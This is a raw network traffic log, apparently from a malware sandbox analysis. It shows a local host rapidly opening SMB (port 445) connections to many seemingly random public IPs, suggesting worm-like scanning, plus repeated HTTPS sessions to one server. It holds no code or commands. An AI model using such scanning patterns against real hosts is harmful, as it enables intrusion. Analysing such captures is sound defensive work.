Jul 21, 2022 04:36:06.458055019 CEST	53709	445	192.168.2.6	17.236.164.157
Jul 21, 2022 04:36:06.458830118 CEST	53710	445	192.168.2.6	159.249.232.242
Jul 21, 2022 04:36:06.475260019 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.475342989 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.475367069 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.475393057 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.506311893 CEST	53711	445	192.168.2.6	174.138.250.228
Jul 21, 2022 04:36:06.507487059 CEST	53712	445	192.168.2.6	14.232.154.129
Jul 21, 2022 04:36:06.508284092 CEST	53713	445	192.168.2.6	61.152.171.32
Jul 21, 2022 04:36:06.527265072 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.527303934 CEST	443	53700	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.527321100 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.527379990 CEST	53700	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.531217098 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.531263113 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.531594992 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.532569885 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.532588959 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.628177881 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.628186941 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.630093098 CEST	53721	445	192.168.2.6	59.156.245.111
Jul 21, 2022 04:36:06.630170107 CEST	53722	445	192.168.2.6	153.184.91.52
Jul 21, 2022 04:36:06.630204916 CEST	53723	445	192.168.2.6	142.200.8.53
Jul 21, 2022 04:36:06.663693905 CEST	53724	445	192.168.2.6	121.93.24.182
Jul 21, 2022 04:36:06.665961027 CEST	53726	445	192.168.2.6	195.154.51.233
Jul 21, 2022 04:36:06.666066885 CEST	53728	445	192.168.2.6	32.181.169.142
Jul 21, 2022 04:36:06.666095972 CEST	53729	445	192.168.2.6	207.180.242.45
Jul 21, 2022 04:36:06.672538042 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.672666073 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.673258066 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.673270941 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.675805092 CEST	53730	445	192.168.2.6	130.108.42.109
Jul 21, 2022 04:36:06.676305056 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.676320076 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.691632032 CEST	53731	445	192.168.2.6	111.63.226.34
Jul 21, 2022 04:36:06.697699070 CEST	53741	445	192.168.2.6	175.182.253.17
Jul 21, 2022 04:36:06.699727058 CEST	53744	445	192.168.2.6	116.150.28.15
Jul 21, 2022 04:36:06.700460911 CEST	53745	445	192.168.2.6	200.80.63.231
Jul 21, 2022 04:36:06.701226950 CEST	53746	445	192.168.2.6	180.201.65.12
Jul 21, 2022 04:36:06.701948881 CEST	53747	445	192.168.2.6	88.111.135.230
Jul 21, 2022 04:36:06.702912092 CEST	53748	445	192.168.2.6	90.118.101.46
Jul 21, 2022 04:36:06.703615904 CEST	445	53726	195.154.51.233	192.168.2.6
Jul 21, 2022 04:36:06.703835011 CEST	53749	445	192.168.2.6	117.142.12.18
Jul 21, 2022 04:36:06.704583883 CEST	53750	445	192.168.2.6	25.154.185.191
Jul 21, 2022 04:36:06.705321074 CEST	53751	445	192.168.2.6	94.42.116.24
Jul 21, 2022 04:36:06.707078934 CEST	53753	445	192.168.2.6	64.171.185.249
Jul 21, 2022 04:36:06.708575010 CEST	53755	445	192.168.2.6	59.200.114.199
Jul 21, 2022 04:36:06.709880114 CEST	53757	445	192.168.2.6	211.86.121.228
Jul 21, 2022 04:36:06.712798119 CEST	53761	445	192.168.2.6	152.123.76.13
Jul 21, 2022 04:36:06.713522911 CEST	53762	445	192.168.2.6	55.126.131.100
Jul 21, 2022 04:36:06.731432915 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.731499910 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.731888056 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.737615108 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:06.844635010 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.844676018 CEST	443	53715	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.844685078 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.844746113 CEST	53715	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.848071098 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.848115921 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.848221064 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.848659039 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:06.848680019 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:06.940687895 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:06.957731962 CEST	445	53724	121.93.24.182	192.168.2.6
Jul 21, 2022 04:36:07.010782003 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.010870934 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.012809038 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.012826920 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.022788048 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.022813082 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.111998081 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.112071991 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.112179995 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.112196922 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.170841932 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.170878887 CEST	443	53765	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.170892954 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.170941114 CEST	53765	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.173068047 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.173110962 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.173198938 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.176748037 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.176774025 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.206500053 CEST	53726	445	192.168.2.6	195.154.51.233
Jul 21, 2022 04:36:07.243805885 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:07.244595051 CEST	445	53726	195.154.51.233	192.168.2.6
Jul 21, 2022 04:36:07.326714039 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.326910019 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.407736063 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.407756090 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.425160885 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:07.471539021 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.471560001 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.471956015 CEST	53724	445	192.168.2.6	121.93.24.182
Jul 21, 2022 04:36:07.492607117 CEST	53770	445	192.168.2.6	18.66.26.246
Jul 21, 2022 04:36:07.550163984 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:07.583265066 CEST	53774	445	192.168.2.6	12.190.85.82
Jul 21, 2022 04:36:07.583998919 CEST	53775	445	192.168.2.6	44.179.214.104
Jul 21, 2022 04:36:07.584716082 CEST	53776	445	192.168.2.6	191.147.28.187
Jul 21, 2022 04:36:07.679516077 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.679615021 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.679696083 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.679713011 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.692626953 CEST	53777	445	192.168.2.6	77.236.189.197
Jul 21, 2022 04:36:07.693875074 CEST	53778	445	192.168.2.6	34.84.12.72
Jul 21, 2022 04:36:07.694809914 CEST	53779	445	192.168.2.6	179.107.241.148
Jul 21, 2022 04:36:07.720483065 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.720515013 CEST	443	53768	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.720529079 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.720581055 CEST	53768	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.723625898 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.723670006 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.723771095 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.724037886 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.724055052 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.764698029 CEST	445	53724	121.93.24.182	192.168.2.6
Jul 21, 2022 04:36:07.788711071 CEST	53786	445	192.168.2.6	207.180.242.46
Jul 21, 2022 04:36:07.801017046 CEST	53787	445	192.168.2.6	51.71.194.81
Jul 21, 2022 04:36:07.801573038 CEST	53788	445	192.168.2.6	195.125.254.41
Jul 21, 2022 04:36:07.803180933 CEST	53791	445	192.168.2.6	201.25.116.64
Jul 21, 2022 04:36:07.803747892 CEST	53792	445	192.168.2.6	156.135.83.131
Jul 21, 2022 04:36:07.804260015 CEST	53793	445	192.168.2.6	209.156.140.19
Jul 21, 2022 04:36:07.804796934 CEST	53794	445	192.168.2.6	15.98.170.108
Jul 21, 2022 04:36:07.805540085 CEST	53795	445	192.168.2.6	2.80.205.30
Jul 21, 2022 04:36:07.809273958 CEST	445	53786	207.180.242.46	192.168.2.6
Jul 21, 2022 04:36:07.820539951 CEST	53797	445	192.168.2.6	94.82.176.130
Jul 21, 2022 04:36:07.821356058 CEST	53798	445	192.168.2.6	82.146.236.194
Jul 21, 2022 04:36:07.822076082 CEST	53799	445	192.168.2.6	27.138.200.129
Jul 21, 2022 04:36:07.827768087 CEST	53808	445	192.168.2.6	96.213.74.51
Jul 21, 2022 04:36:07.829886913 CEST	53811	445	192.168.2.6	10.162.35.45
Jul 21, 2022 04:36:07.830564976 CEST	53812	445	192.168.2.6	186.21.65.252
Jul 21, 2022 04:36:07.831233978 CEST	53813	445	192.168.2.6	74.2.144.141
Jul 21, 2022 04:36:07.867404938 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.867590904 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.885149002 CEST	53814	445	192.168.2.6	133.157.23.126
Jul 21, 2022 04:36:07.885855913 CEST	53815	445	192.168.2.6	207.248.187.238
Jul 21, 2022 04:36:07.886534929 CEST	53816	445	192.168.2.6	74.66.48.4
Jul 21, 2022 04:36:07.887814045 CEST	53818	445	192.168.2.6	140.160.245.11
Jul 21, 2022 04:36:07.888454914 CEST	53819	445	192.168.2.6	7.142.80.73
Jul 21, 2022 04:36:07.893408060 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.893423080 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.897022963 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.897038937 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.910607100 CEST	53823	445	192.168.2.6	72.101.75.253
Jul 21, 2022 04:36:07.912362099 CEST	53825	445	192.168.2.6	38.38.117.89
Jul 21, 2022 04:36:07.912492990 CEST	53827	445	192.168.2.6	174.115.166.129
Jul 21, 2022 04:36:07.984762907 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.984837055 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:07.985013962 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:07.985044956 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.008124113 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.008167982 CEST	443	53785	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.008183002 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.008240938 CEST	53785	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.015330076 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.015373945 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.015458107 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.016911030 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.016930103 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.159149885 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.159279108 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.387307882 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.387332916 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.390997887 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.391015053 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.425168991 CEST	53786	445	192.168.2.6	207.180.242.46
Jul 21, 2022 04:36:08.448616982 CEST	445	53786	207.180.242.46	192.168.2.6
Jul 21, 2022 04:36:08.456739902 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:08.477838039 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.477905035 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.477921963 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.477976084 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.524527073 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.524565935 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.524583101 CEST	443	53832	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.524599075 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.524645090 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:08.524699926 CEST	53832	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.524765968 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:08.737725973 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:08.753360033 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:09.034657955 CEST	53786	445	192.168.2.6	207.180.242.46
Jul 21, 2022 04:36:09.055496931 CEST	445	53786	207.180.242.46	192.168.2.6
Jul 21, 2022 04:36:09.252202988 CEST	53837	445	192.168.2.6	63.148.108.117
Jul 21, 2022 04:36:09.307900906 CEST	53840	445	192.168.2.6	207.180.242.47
Jul 21, 2022 04:36:09.335278034 CEST	445	53840	207.180.242.47	192.168.2.6
Jul 21, 2022 04:36:09.348208904 CEST	53841	445	192.168.2.6	107.161.103.36
Jul 21, 2022 04:36:09.348881960 CEST	53842	445	192.168.2.6	112.15.51.59
Jul 21, 2022 04:36:09.349519968 CEST	53843	445	192.168.2.6	69.134.205.156
Jul 21, 2022 04:36:09.350750923 CEST	53845	445	192.168.2.6	107.235.200.126
Jul 21, 2022 04:36:09.352423906 CEST	53847	445	192.168.2.6	148.51.138.143
Jul 21, 2022 04:36:09.356278896 CEST	53853	445	192.168.2.6	20.139.46.53
Jul 21, 2022 04:36:09.356992960 CEST	53854	445	192.168.2.6	65.61.183.213
Jul 21, 2022 04:36:09.358300924 CEST	53856	445	192.168.2.6	153.214.167.2
Jul 21, 2022 04:36:09.359004021 CEST	53857	445	192.168.2.6	11.133.168.157
Jul 21, 2022 04:36:09.359705925 CEST	53858	445	192.168.2.6	8.87.63.131
Jul 21, 2022 04:36:09.360626936 CEST	53859	445	192.168.2.6	57.233.129.170
Jul 21, 2022 04:36:09.361361980 CEST	53860	445	192.168.2.6	56.148.237.165
Jul 21, 2022 04:36:09.418898106 CEST	53870	445	192.168.2.6	46.145.163.242
Jul 21, 2022 04:36:09.421399117 CEST	53873	445	192.168.2.6	98.118.32.173
Jul 21, 2022 04:36:09.422149897 CEST	53874	445	192.168.2.6	147.175.253.99
Jul 21, 2022 04:36:09.423527956 CEST	53876	445	192.168.2.6	140.84.153.24
Jul 21, 2022 04:36:09.424272060 CEST	53877	445	192.168.2.6	188.81.131.190
Jul 21, 2022 04:36:09.425039053 CEST	53878	445	192.168.2.6	24.10.84.2
Jul 21, 2022 04:36:09.425841093 CEST	53879	445	192.168.2.6	111.218.224.61
Jul 21, 2022 04:36:09.426561117 CEST	53880	445	192.168.2.6	140.109.161.70
Jul 21, 2022 04:36:09.428925037 CEST	53883	445	192.168.2.6	29.94.205.226
Jul 21, 2022 04:36:09.429716110 CEST	53884	445	192.168.2.6	189.92.179.229
Jul 21, 2022 04:36:09.431107998 CEST	53886	445	192.168.2.6	49.216.188.50
Jul 21, 2022 04:36:09.431847095 CEST	53887	445	192.168.2.6	82.124.126.179
Jul 21, 2022 04:36:09.432591915 CEST	53888	445	192.168.2.6	50.125.33.67
Jul 21, 2022 04:36:09.436662912 CEST	53894	445	192.168.2.6	152.75.244.190
Jul 21, 2022 04:36:09.439085007 CEST	53897	445	192.168.2.6	182.146.252.204
Jul 21, 2022 04:36:09.925378084 CEST	53840	445	192.168.2.6	207.180.242.47
Jul 21, 2022 04:36:09.947295904 CEST	445	53840	207.180.242.47	192.168.2.6
Jul 21, 2022 04:36:10.128528118 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:10.534766912 CEST	53840	445	192.168.2.6	207.180.242.47
Jul 21, 2022 04:36:10.555565119 CEST	445	53840	207.180.242.47	192.168.2.6
Jul 21, 2022 04:36:11.019556999 CEST	53705	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:11.237962961 CEST	53703	445	192.168.2.6	77.129.24.111
Jul 21, 2022 04:36:11.425987005 CEST	53901	445	192.168.2.6	207.180.242.48
Jul 21, 2022 04:36:11.428533077 CEST	53706	445	192.168.2.6	77.129.24.1
Jul 21, 2022 04:36:11.446754932 CEST	445	53901	207.180.242.48	192.168.2.6
Jul 21, 2022 04:36:11.472888947 CEST	53903	445	192.168.2.6	77.6.243.178
Jul 21, 2022 04:36:11.474199057 CEST	53904	445	192.168.2.6	91.165.153.8
Jul 21, 2022 04:36:11.474736929 CEST	53905	445	192.168.2.6	156.131.28.162
Jul 21, 2022 04:36:11.478749990 CEST	53914	445	192.168.2.6	205.105.89.33
Jul 21, 2022 04:36:11.480751991 CEST	53918	445	192.168.2.6	100.188.52.81
Jul 21, 2022 04:36:11.481695890 CEST	53920	445	192.168.2.6	143.125.247.187
Jul 21, 2022 04:36:11.482223034 CEST	53921	445	192.168.2.6	142.119.172.127
Jul 21, 2022 04:36:11.482721090 CEST	53922	445	192.168.2.6	145.77.3.121
Jul 21, 2022 04:36:11.494448900 CEST	53923	445	192.168.2.6	168.181.242.36
Jul 21, 2022 04:36:11.573297024 CEST	53924	445	192.168.2.6	96.198.52.42
Jul 21, 2022 04:36:11.573484898 CEST	53926	445	192.168.2.6	2.100.58.90
Jul 21, 2022 04:36:11.573575020 CEST	53928	445	192.168.2.6	47.73.224.166
Jul 21, 2022 04:36:11.573781967 CEST	53934	445	192.168.2.6	35.73.27.138
Jul 21, 2022 04:36:11.573898077 CEST	53935	445	192.168.2.6	7.225.84.170
Jul 21, 2022 04:36:11.573980093 CEST	53937	445	192.168.2.6	216.98.115.223
Jul 21, 2022 04:36:11.574067116 CEST	53938	445	192.168.2.6	72.140.100.211
Jul 21, 2022 04:36:11.574137926 CEST	53939	445	192.168.2.6	16.231.86.230
Jul 21, 2022 04:36:11.574213028 CEST	53940	445	192.168.2.6	93.248.10.12
Jul 21, 2022 04:36:11.574294090 CEST	53941	445	192.168.2.6	182.180.84.78
Jul 21, 2022 04:36:11.574385881 CEST	53942	445	192.168.2.6	208.58.73.235
Jul 21, 2022 04:36:11.574459076 CEST	53944	445	192.168.2.6	215.89.71.147
Jul 21, 2022 04:36:11.574745893 CEST	53953	445	192.168.2.6	107.22.240.130
Jul 21, 2022 04:36:11.574940920 CEST	53954	445	192.168.2.6	8.126.79.179
Jul 21, 2022 04:36:11.575000048 CEST	53955	445	192.168.2.6	89.70.191.77
Jul 21, 2022 04:36:11.575229883 CEST	53957	445	192.168.2.6	124.24.96.136
Jul 21, 2022 04:36:11.575331926 CEST	53958	445	192.168.2.6	100.53.16.60
Jul 21, 2022 04:36:11.575553894 CEST	53964	445	192.168.2.6	121.240.79.1
Jul 21, 2022 04:36:11.681710958 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.681755066 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.712596893 CEST	445	53923	168.181.242.36	192.168.2.6
Jul 21, 2022 04:36:11.823666096 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.823765993 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.827588081 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.827610016 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.830008984 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.830028057 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.902523041 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.902606010 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.902632952 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.902669907 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.903856993 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.903881073 CEST	443	53836	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.903896093 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.903944969 CEST	53836	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.906338930 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.906385899 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:11.906476974 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.907485962 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:11.907497883 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.034847975 CEST	53901	445	192.168.2.6	207.180.242.48
Jul 21, 2022 04:36:12.050940037 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.051038027 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.055545092 CEST	445	53901	207.180.242.48	192.168.2.6
Jul 21, 2022 04:36:12.064229965 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.064245939 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.066410065 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.066451073 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.228497028 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.228595972 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.228688002 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.228713989 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.228795052 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.228811979 CEST	443	53966	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.228828907 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.228859901 CEST	53966	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.230535984 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.230570078 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.230645895 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.230891943 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.230906010 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.238015890 CEST	53923	445	192.168.2.6	168.181.242.36
Jul 21, 2022 04:36:12.378097057 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.378182888 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.399918079 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.399940014 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.402100086 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.402117968 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.456043959 CEST	445	53923	168.181.242.36	192.168.2.6
Jul 21, 2022 04:36:12.480494022 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.480573893 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.480694056 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.497905016 CEST	53968	445	192.168.2.6	207.180.242.49
Jul 21, 2022 04:36:12.520199060 CEST	445	53968	207.180.242.49	192.168.2.6
Jul 21, 2022 04:36:12.527067900 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.527101040 CEST	443	53967	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.527157068 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.527287006 CEST	53967	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.530064106 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.530093908 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.530284882 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.530642033 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.530672073 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.598483086 CEST	53971	445	192.168.2.6	59.168.140.200
Jul 21, 2022 04:36:12.599229097 CEST	53972	445	192.168.2.6	71.129.241.246
Jul 21, 2022 04:36:12.599970102 CEST	53973	445	192.168.2.6	143.78.114.35
Jul 21, 2022 04:36:12.600625038 CEST	53974	445	192.168.2.6	5.3.51.130
Jul 21, 2022 04:36:12.606107950 CEST	53983	445	192.168.2.6	84.93.204.212
Jul 21, 2022 04:36:12.607954979 CEST	53986	445	192.168.2.6	8.44.107.105
Jul 21, 2022 04:36:12.608645916 CEST	53987	445	192.168.2.6	216.156.128.2
Jul 21, 2022 04:36:12.609740973 CEST	53989	445	192.168.2.6	174.156.7.172
Jul 21, 2022 04:36:12.610284090 CEST	53990	445	192.168.2.6	184.220.5.11
Jul 21, 2022 04:36:12.610985041 CEST	53991	445	192.168.2.6	3.139.51.207
Jul 21, 2022 04:36:12.679219007 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.679821014 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.680459023 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.680480003 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.683082104 CEST	53969	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:36:12.683098078 CEST	443	53969	20.238.103.94	192.168.2.6
Jul 21, 2022 04:36:12.696943998 CEST	53997	445	192.168.2.6	7.32.235.30
